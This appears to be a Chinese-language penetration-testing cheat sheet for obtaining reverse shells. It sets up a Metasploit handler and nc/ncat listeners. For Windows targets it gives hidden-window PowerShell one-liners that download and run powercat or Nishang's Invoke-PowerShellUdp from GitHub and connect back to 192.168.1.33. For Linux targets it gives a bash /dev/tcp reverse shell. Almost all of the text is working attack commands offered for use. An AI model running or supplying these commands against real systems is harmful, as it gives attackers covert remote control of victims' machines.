0x00 nc反弹
如果想接收多个sessions的话,用msf执行以下命令监听。
反弹成功以后,用sessions id 来选择要操作的目标。
msfconsole
use exploit/multi/handler
set payload windows/shell/reverse_tcp
set lhost 192.168.1.33
set lport 888
run -j
#如果只接收一个sessions的话,直接执行以下命令即可。
nc -l -p 888
目标执行
powershell -noprofile -windowstyle hidden IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.1.33 -p 888 -e cmd
目标是linux系统的话
bash -i >& /dev/tcp/1.1.1.1/888 0>&1
0x01 基于UDP协议反弹
kali监听
ncat -lvup 53
目标执行
powershell -noprofile -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.1.33 -port 53
成功反弹